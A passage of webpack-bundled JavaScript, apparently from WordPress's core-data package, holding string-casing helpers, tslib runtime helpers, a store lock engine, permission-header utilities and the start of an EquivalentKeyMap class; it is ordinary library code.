1/******/ (() => { // webpackBootstrap
2/******/ var __webpack_modules__ = ({
3
4/***/ 287:
5/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
6
7"use strict";
8/* harmony export */ __webpack_require__.d(__webpack_exports__, {
9/* harmony export */ fL: () => (/* binding */ pascalCase),
10/* harmony export */ l3: () => (/* binding */ pascalCaseTransform)
11/* harmony export */ });
12/* unused harmony export pascalCaseTransformMerge */
13/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(1635);
14/* harmony import */ var no_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(2226);
15
16
17function pascalCaseTransform(input, index) {
18 var firstChar = input.charAt(0);
19 var lowerChars = input.substr(1).toLowerCase();
20 if (index > 0 && firstChar >= "0" && firstChar <= "9") {
21 return "_" + firstChar + lowerChars;
22 }
23 return "" + firstChar.toUpperCase() + lowerChars;
24}
25function pascalCaseTransformMerge(input) {
26 return input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();
27}
28function pascalCase(input, options) {
29 if (options === void 0) { options = {}; }
30 return (0,no_case__WEBPACK_IMPORTED_MODULE_0__/* .noCase */ .W)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__/* .__assign */ .Cl)({ delimiter: "", transform: pascalCaseTransform }, options));
31}
32
33
34/***/ }),
35
36/***/ 533:
37/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
38
39"use strict";
40/* harmony export */ __webpack_require__.d(__webpack_exports__, {
41/* harmony export */ A: () => (/* binding */ get_normalized_comma_separable_default)
42/* harmony export */ });
43function getNormalizedCommaSeparable(value) {
44 if (typeof value === "string") {
45 return value.split(",");
46 } else if (Array.isArray(value)) {
47 return value;
48 }
49 return null;
50}
51var get_normalized_comma_separable_default = getNormalizedCommaSeparable;
52
53
54
55/***/ }),
56
57/***/ 1455:
58/***/ ((module) => {
59
60"use strict";
61module.exports = window["wp"]["apiFetch"];
62
63/***/ }),
64
65/***/ 1635:
66/***/ ((__unused_webpack___webpack_module__, __webpack_exports__, __webpack_require__) => {
67
68"use strict";
69/* harmony export */ __webpack_require__.d(__webpack_exports__, {
70/* harmony export */ Cl: () => (/* binding */ __assign)
71/* harmony export */ });
72/* unused harmony exports __extends, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension */
73/******************************************************************************
74Copyright (c) Microsoft Corporation.
75
76Permission to use, copy, modify, and/or distribute this software for any
77purpose with or without fee is hereby granted.
78
79THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
80REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
81AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
82INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
83LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
84OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
85PERFORMANCE OF THIS SOFTWARE.
86***************************************************************************** */
87/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
88
89var extendStatics = function(d, b) {
90 extendStatics = Object.setPrototypeOf ||
91 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
92 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
93 return extendStatics(d, b);
94};
95
96function __extends(d, b) {
97 if (typeof b !== "function" && b !== null)
98 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
99 extendStatics(d, b);
100 function __() { this.constructor = d; }
101 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
102}
103
104var __assign = function() {
105 __assign = Object.assign || function __assign(t) {
106 for (var s, i = 1, n = arguments.length; i < n; i++) {
107 s = arguments[i];
108 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
109 }
110 return t;
111 }
112 return __assign.apply(this, arguments);
113}
114
115function __rest(s, e) {
116 var t = {};
117 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
118 t[p] = s[p];
119 if (s != null && typeof Object.getOwnPropertySymbols === "function")
120 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
121 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
122 t[p[i]] = s[p[i]];
123 }
124 return t;
125}
126
127function __decorate(decorators, target, key, desc) {
128 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
129 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
130 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
131 return c > 3 && r && Object.defineProperty(target, key, r), r;
132}
133
134function __param(paramIndex, decorator) {
135 return function (target, key) { decorator(target, key, paramIndex); }
136}
137
138function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
139 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
140 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
141 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
142 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
143 var _, done = false;
144 for (var i = decorators.length - 1; i >= 0; i--) {
145 var context = {};
146 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
147 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
148 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
149 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
150 if (kind === "accessor") {
151 if (result === void 0) continue;
152 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
153 if (_ = accept(result.get)) descriptor.get = _;
154 if (_ = accept(result.set)) descriptor.set = _;
155 if (_ = accept(result.init)) initializers.unshift(_);
156 }
157 else if (_ = accept(result)) {
158 if (kind === "field") initializers.unshift(_);
159 else descriptor[key] = _;
160 }
161 }
162 if (target) Object.defineProperty(target, contextIn.name, descriptor);
163 done = true;
164};
165
166function __runInitializers(thisArg, initializers, value) {
167 var useValue = arguments.length > 2;
168 for (var i = 0; i < initializers.length; i++) {
169 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
170 }
171 return useValue ? value : void 0;
172};
173
174function __propKey(x) {
175 return typeof x === "symbol" ? x : "".concat(x);
176};
177
178function __setFunctionName(f, name, prefix) {
179 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
180 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
181};
182
183function __metadata(metadataKey, metadataValue) {
184 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
185}
186
187function __awaiter(thisArg, _arguments, P, generator) {
188 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
189 return new (P || (P = Promise))(function (resolve, reject) {
190 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
191 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
192 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
193 step((generator = generator.apply(thisArg, _arguments || [])).next());
194 });
195}
196
197function __generator(thisArg, body) {
198 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
199 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
200 function verb(n) { return function (v) { return step([n, v]); }; }
201 function step(op) {
202 if (f) throw new TypeError("Generator is already executing.");
203 while (g && (g = 0, op[0] && (_ = 0)), _) try {
204 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
205 if (y = 0, t) op = [op[0] & 2, t.value];
206 switch (op[0]) {
207 case 0: case 1: t = op; break;
208 case 4: _.label++; return { value: op[1], done: false };
209 case 5: _.label++; y = op[1]; op = [0]; continue;
210 case 7: op = _.ops.pop(); _.trys.pop(); continue;
211 default:
212 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
213 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
214 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
215 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
216 if (t[2]) _.ops.pop();
217 _.trys.pop(); continue;
218 }
219 op = body.call(thisArg, _);
220 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
221 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
222 }
223}
224
225var __createBinding = Object.create ? (function(o, m, k, k2) {
226 if (k2 === undefined) k2 = k;
227 var desc = Object.getOwnPropertyDescriptor(m, k);
228 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
229 desc = { enumerable: true, get: function() { return m[k]; } };
230 }
231 Object.defineProperty(o, k2, desc);
232}) : (function(o, m, k, k2) {
233 if (k2 === undefined) k2 = k;
234 o[k2] = m[k];
235});
236
237function __exportStar(m, o) {
238 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
239}
240
241function __values(o) {
242 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
243 if (m) return m.call(o);
244 if (o && typeof o.length === "number") return {
245 next: function () {
246 if (o && i >= o.length) o = void 0;
247 return { value: o && o[i++], done: !o };
248 }
249 };
250 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
251}
252
253function __read(o, n) {
254 var m = typeof Symbol === "function" && o[Symbol.iterator];
255 if (!m) return o;
256 var i = m.call(o), r, ar = [], e;
257 try {
258 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
259 }
260 catch (error) { e = { error: error }; }
261 finally {
262 try {
263 if (r && !r.done && (m = i["return"])) m.call(i);
264 }
265 finally { if (e) throw e.error; }
266 }
267 return ar;
268}
269
270/** @deprecated */
271function __spread() {
272 for (var ar = [], i = 0; i < arguments.length; i++)
273 ar = ar.concat(__read(arguments[i]));
274 return ar;
275}
276
277/** @deprecated */
278function __spreadArrays() {
279 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
280 for (var r = Array(s), k = 0, i = 0; i < il; i++)
281 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
282 r[k] = a[j];
283 return r;
284}
285
286function __spreadArray(to, from, pack) {
287 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
288 if (ar || !(i in from)) {
289 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
290 ar[i] = from[i];
291 }
292 }
293 return to.concat(ar || Array.prototype.slice.call(from));
294}
295
296function __await(v) {
297 return this instanceof __await ? (this.v = v, this) : new __await(v);
298}
299
300function __asyncGenerator(thisArg, _arguments, generator) {
301 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
302 var g = generator.apply(thisArg, _arguments || []), i, q = [];
303 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
304 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
305 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
306 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
307 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
308 function fulfill(value) { resume("next", value); }
309 function reject(value) { resume("throw", value); }
310 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
311}
312
313function __asyncDelegator(o) {
314 var i, p;
315 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
316 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
317}
318
319function __asyncValues(o) {
320 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
321 var m = o[Symbol.asyncIterator], i;
322 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
323 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
324 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
325}
326
327function __makeTemplateObject(cooked, raw) {
328 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
329 return cooked;
330};
331
332var __setModuleDefault = Object.create ? (function(o, v) {
333 Object.defineProperty(o, "default", { enumerable: true, value: v });
334}) : function(o, v) {
335 o["default"] = v;
336};
337
338var ownKeys = function(o) {
339 ownKeys = Object.getOwnPropertyNames || function (o) {
340 var ar = [];
341 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
342 return ar;
343 };
344 return ownKeys(o);
345};
346
347function __importStar(mod) {
348 if (mod && mod.__esModule) return mod;
349 var result = {};
350 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
351 __setModuleDefault(result, mod);
352 return result;
353}
354
355function __importDefault(mod) {
356 return (mod && mod.__esModule) ? mod : { default: mod };
357}
358
359function __classPrivateFieldGet(receiver, state, kind, f) {
360 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
361 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
362 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
363}
364
365function __classPrivateFieldSet(receiver, state, value, kind, f) {
366 if (kind === "m") throw new TypeError("Private method is not writable");
367 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
368 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
369 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
370}
371
372function __classPrivateFieldIn(state, receiver) {
373 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
374 return typeof state === "function" ? receiver === state : state.has(receiver);
375}
376
377function __addDisposableResource(env, value, async) {
378 if (value !== null && value !== void 0) {
379 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
380 var dispose, inner;
381 if (async) {
382 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
383 dispose = value[Symbol.asyncDispose];
384 }
385 if (dispose === void 0) {
386 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
387 dispose = value[Symbol.dispose];
388 if (async) inner = dispose;
389 }
390 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
391 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
392 env.stack.push({ value: value, dispose: dispose, async: async });
393 }
394 else if (async) {
395 env.stack.push({ async: true });
396 }
397 return value;
398}
399
400var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
401 var e = new Error(message);
402 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
403};
404
405function __disposeResources(env) {
406 function fail(e) {
407 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
408 env.hasError = true;
409 }
410 var r, s = 0;
411 function next() {
412 while (r = env.stack.pop()) {
413 try {
414 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
415 if (r.dispose) {
416 var result = r.dispose.call(r.value);
417 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
418 }
419 else s |= 1;
420 }
421 catch (e) {
422 fail(e);
423 }
424 }
425 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
426 if (env.hasError) throw env.error;
427 }
428 return next();
429}
430
431function __rewriteRelativeImportExtension(path, preserveJsx) {
432 if (typeof path === "string" && /^\.\.?\//.test(path)) {
433 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
434 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
435 });
436 }
437 return path;
438}
439
440/* unused harmony default export */ var __WEBPACK_DEFAULT_EXPORT__ = ({
441 __extends,
442 __assign,
443 __rest,
444 __decorate,
445 __param,
446 __esDecorate,
447 __runInitializers,
448 __propKey,
449 __setFunctionName,
450 __metadata,
451 __awaiter,
452 __generator,
453 __createBinding,
454 __exportStar,
455 __values,
456 __read,
457 __spread,
458 __spreadArrays,
459 __spreadArray,
460 __await,
461 __asyncGenerator,
462 __asyncDelegator,
463 __asyncValues,
464 __makeTemplateObject,
465 __importStar,
466 __importDefault,
467 __classPrivateFieldGet,
468 __classPrivateFieldSet,
469 __classPrivateFieldIn,
470 __addDisposableResource,
471 __disposeResources,
472 __rewriteRelativeImportExtension,
473});
474
475
476/***/ }),
477
478/***/ 2226:
479/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
480
481"use strict";
482/* harmony export */ __webpack_require__.d(__webpack_exports__, {
483/* harmony export */ W: () => (/* binding */ noCase)
484/* harmony export */ });
485/* harmony import */ var lower_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(7314);
486
487// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
488var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
489// Remove all non-word characters.
490var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
491/**
492 * Normalize the string into something other libraries can manipulate easier.
493 */
494function noCase(input, options) {
495 if (options === void 0) { options = {}; }
496 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lower_case__WEBPACK_IMPORTED_MODULE_0__/* .lowerCase */ .g : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
497 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
498 var start = 0;
499 var end = result.length;
500 // Trim the delimiter from around the output string.
501 while (result.charAt(start) === "\0")
502 start++;
503 while (result.charAt(end - 1) === "\0")
504 end--;
505 // Transform each token independently.
506 return result.slice(start, end).split("\0").map(transform).join(delimiter);
507}
508/**
509 * Replace `re` in the input string with the replacement value.
510 */
511function replace(input, re, value) {
512 if (re instanceof RegExp)
513 return input.replace(re, value);
514 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
515}
516
517
518/***/ }),
519
520/***/ 2239:
521/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
522
523"use strict";
524
525// EXPORTS
526__webpack_require__.d(__webpack_exports__, {
527 A: () => (/* binding */ createLocksActions)
528});
529
530;// ./node_modules/@wordpress/core-data/build-module/locks/utils.js
531function deepCopyLocksTreePath(tree, path) {
532 const newTree = { ...tree };
533 let currentNode = newTree;
534 for (const branchName of path) {
535 currentNode.children = {
536 ...currentNode.children,
537 [branchName]: {
538 locks: [],
539 children: {},
540 ...currentNode.children[branchName]
541 }
542 };
543 currentNode = currentNode.children[branchName];
544 }
545 return newTree;
546}
547function getNode(tree, path) {
548 let currentNode = tree;
549 for (const branchName of path) {
550 const nextNode = currentNode.children[branchName];
551 if (!nextNode) {
552 return null;
553 }
554 currentNode = nextNode;
555 }
556 return currentNode;
557}
558function* iteratePath(tree, path) {
559 let currentNode = tree;
560 yield currentNode;
561 for (const branchName of path) {
562 const nextNode = currentNode.children[branchName];
563 if (!nextNode) {
564 break;
565 }
566 yield nextNode;
567 currentNode = nextNode;
568 }
569}
570function* iterateDescendants(node) {
571 const stack = Object.values(node.children);
572 while (stack.length) {
573 const childNode = stack.pop();
574 yield childNode;
575 stack.push(...Object.values(childNode.children));
576 }
577}
578function hasConflictingLock({ exclusive }, locks) {
579 if (exclusive && locks.length) {
580 return true;
581 }
582 if (!exclusive && locks.filter((lock) => lock.exclusive).length) {
583 return true;
584 }
585 return false;
586}
587
588
589;// ./node_modules/@wordpress/core-data/build-module/locks/reducer.js
590
591const DEFAULT_STATE = {
592 requests: [],
593 tree: {
594 locks: [],
595 children: {}
596 }
597};
598function locks(state = DEFAULT_STATE, action) {
599 switch (action.type) {
600 case "ENQUEUE_LOCK_REQUEST": {
601 const { request } = action;
602 return {
603 ...state,
604 requests: [request, ...state.requests]
605 };
606 }
607 case "GRANT_LOCK_REQUEST": {
608 const { lock, request } = action;
609 const { store, path } = request;
610 const storePath = [store, ...path];
611 const newTree = deepCopyLocksTreePath(state.tree, storePath);
612 const node = getNode(newTree, storePath);
613 node.locks = [...node.locks, lock];
614 return {
615 ...state,
616 requests: state.requests.filter((r) => r !== request),
617 tree: newTree
618 };
619 }
620 case "RELEASE_LOCK": {
621 const { lock } = action;
622 const storePath = [lock.store, ...lock.path];
623 const newTree = deepCopyLocksTreePath(state.tree, storePath);
624 const node = getNode(newTree, storePath);
625 node.locks = node.locks.filter((l) => l !== lock);
626 return {
627 ...state,
628 tree: newTree
629 };
630 }
631 }
632 return state;
633}
634
635
636;// ./node_modules/@wordpress/core-data/build-module/locks/selectors.js
637
638function getPendingLockRequests(state) {
639 return state.requests;
640}
641function isLockAvailable(state, store, path, { exclusive }) {
642 const storePath = [store, ...path];
643 const locks = state.tree;
644 for (const node2 of iteratePath(locks, storePath)) {
645 if (hasConflictingLock({ exclusive }, node2.locks)) {
646 return false;
647 }
648 }
649 const node = getNode(locks, storePath);
650 if (!node) {
651 return true;
652 }
653 for (const descendant of iterateDescendants(node)) {
654 if (hasConflictingLock({ exclusive }, descendant.locks)) {
655 return false;
656 }
657 }
658 return true;
659}
660
661
662;// ./node_modules/@wordpress/core-data/build-module/locks/engine.js
663
664
665function createLocks() {
666 let state = locks(void 0, { type: "@@INIT" });
667 function processPendingLockRequests() {
668 for (const request of getPendingLockRequests(state)) {
669 const { store, path, exclusive, notifyAcquired } = request;
670 if (isLockAvailable(state, store, path, { exclusive })) {
671 const lock = { store, path, exclusive };
672 state = locks(state, {
673 type: "GRANT_LOCK_REQUEST",
674 lock,
675 request
676 });
677 notifyAcquired(lock);
678 }
679 }
680 }
681 function acquire(store, path, exclusive) {
682 return new Promise((resolve) => {
683 state = locks(state, {
684 type: "ENQUEUE_LOCK_REQUEST",
685 request: { store, path, exclusive, notifyAcquired: resolve }
686 });
687 processPendingLockRequests();
688 });
689 }
690 function release(lock) {
691 state = locks(state, {
692 type: "RELEASE_LOCK",
693 lock
694 });
695 processPendingLockRequests();
696 }
697 return { acquire, release };
698}
699
700
701;// ./node_modules/@wordpress/core-data/build-module/locks/actions.js
702
703function createLocksActions() {
704 const locks = createLocks();
705 function __unstableAcquireStoreLock(store, path, { exclusive }) {
706 return () => locks.acquire(store, path, exclusive);
707 }
708 function __unstableReleaseStoreLock(lock) {
709 return () => locks.release(lock);
710 }
711 return { __unstableAcquireStoreLock, __unstableReleaseStoreLock };
712}
713
714
715
716/***/ }),
717
718/***/ 2278:
719/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
720
721"use strict";
722/* harmony export */ __webpack_require__.d(__webpack_exports__, {
723/* harmony export */ E: () => (/* binding */ STORE_NAME)
724/* harmony export */ });
725const STORE_NAME = "core";
726
727
728
729/***/ }),
730
731/***/ 2577:
732/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
733
734"use strict";
735/* harmony export */ __webpack_require__.d(__webpack_exports__, {
736/* harmony export */ CO: () => (/* binding */ ALLOWED_RESOURCE_ACTIONS),
737/* harmony export */ kC: () => (/* binding */ getUserPermissionCacheKey),
738/* harmony export */ qY: () => (/* binding */ getUserPermissionsFromAllowHeader)
739/* harmony export */ });
740const ALLOWED_RESOURCE_ACTIONS = [
741 "create",
742 "read",
743 "update",
744 "delete"
745];
746function getUserPermissionsFromAllowHeader(allowedMethods) {
747 const permissions = {};
748 if (!allowedMethods) {
749 return permissions;
750 }
751 const methods = {
752 create: "POST",
753 read: "GET",
754 update: "PUT",
755 delete: "DELETE"
756 };
757 for (const [actionName, methodName] of Object.entries(methods)) {
758 permissions[actionName] = allowedMethods.includes(methodName);
759 }
760 return permissions;
761}
762function getUserPermissionCacheKey(action, resource, id) {
763 const key = (typeof resource === "object" ? [action, resource.kind, resource.name, resource.id] : [action, resource, id]).filter(Boolean).join("/");
764 return key;
765}
766
767
768
769/***/ }),
770
771/***/ 2859:
772/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
773
774"use strict";
775/* harmony export */ __webpack_require__.d(__webpack_exports__, {
776/* harmony export */ n: () => (/* binding */ Status)
777/* harmony export */ });
778var Status = /* @__PURE__ */ ((Status2) => {
779 Status2["Idle"] = "IDLE";
780 Status2["Resolving"] = "RESOLVING";
781 Status2["Error"] = "ERROR";
782 Status2["Success"] = "SUCCESS";
783 return Status2;
784})(Status || {});
785
786
787
788/***/ }),
789
790/***/ 3249:
791/***/ ((module) => {
792
793"use strict";
794
795
796function _typeof(obj) {
797 if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
798 _typeof = function (obj) {
799 return typeof obj;
800 };
801 } else {
802 _typeof = function (obj) {
803 return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
804 };
805 }
806
807 return _typeof(obj);
808}
809
810function _classCallCheck(instance, Constructor) {
811 if (!(instance instanceof Constructor)) {
812 throw new TypeError("Cannot call a class as a function");
813 }
814}
815
816function _defineProperties(target, props) {
817 for (var i = 0; i < props.length; i++) {
818 var descriptor = props[i];
819 descriptor.enumerable = descriptor.enumerable || false;
820 descriptor.configurable = true;
821 if ("value" in descriptor) descriptor.writable = true;
822 Object.defineProperty(target, descriptor.key, descriptor);
823 }
824}
825
826function _createClass(Constructor, protoProps, staticProps) {
827 if (protoProps) _defineProperties(Constructor.prototype, protoProps);
828 if (staticProps) _defineProperties(Constructor, staticProps);
829 return Constructor;
830}
831
832/**
833 * Given an instance of EquivalentKeyMap, returns its internal value pair tuple
834 * for a key, if one exists. The tuple members consist of the last reference
835 * value for the key (used in efficient subsequent lookups) and the value
836 * assigned for the key at the leaf node.
837 *
838 * @param {EquivalentKeyMap} instance EquivalentKeyMap instance.
839 * @param {*} key The key for which to return value pair.
840 *
841 * @return {?Array} Value pair, if exists.
842 */
843function getValuePair(instance, key) {
844 var _map = instance._map,
845 _arrayTreeMap = instance._arrayTreeMap,
846 _objectTreeMap = instance._objectTreeMap; // Map keeps a reference to the last object-like key used to set the
847 // value, which can be used to shortcut immediately to the value.
848
849 if (_map.has(key)) {
850 return _map.get(key);
851 } // Sort keys to ensure stable retrieval from tree.
852
853
854 var properties = Object.keys(key).sort(); // Tree by type to avoid conflicts on numeric object keys, empty value.
855
856 var map = Array.isArray(key) ? _arrayTreeMap : _objectTreeMap;
857
858 for (var i = 0; i < properties.length; i++) {
859 var property = properties[i];
860 map = map.get(property);
861
862 if (map === undefined) {
863 return;
864 }
865
866 var propertyValue = key[property];
867 map = map.get(propertyValue);
868
869 if (map === undefined) {
870 return;
871 }
872 }
873
874 var valuePair = map.get('_ekm_value');
875
876 if (!valuePair) {
877 return;
878 } // If reached, it implies that an object-like key was set with another
879 // reference, so delete the reference and replace with the current.
880
881
882 _map.delete(valuePair[0]);
883
884 valuePair[0] = key;
885 map.set('_ekm_value', valuePair);
886
887 _map.set(key, valuePair);
888
889 return valuePair;
890}
891/**
892 * Variant of a Map object which enables lookup by equivalent (deeply equal)
893 * object and array keys.
894 */
895
896
897var EquivalentKeyMap =
898/*#__PURE__*/
899function () {
900 /**
901 * Constructs a new instance of EquivalentKeyMap.
902 *
903 * @param {Iterable.<*>} iterable Initial pair of key, value for map.
904 */
905 function EquivalentKeyMap(iterable) {
906 _classCallCheck(this, EquivalentKeyMap);
907
908 this.clear();
909
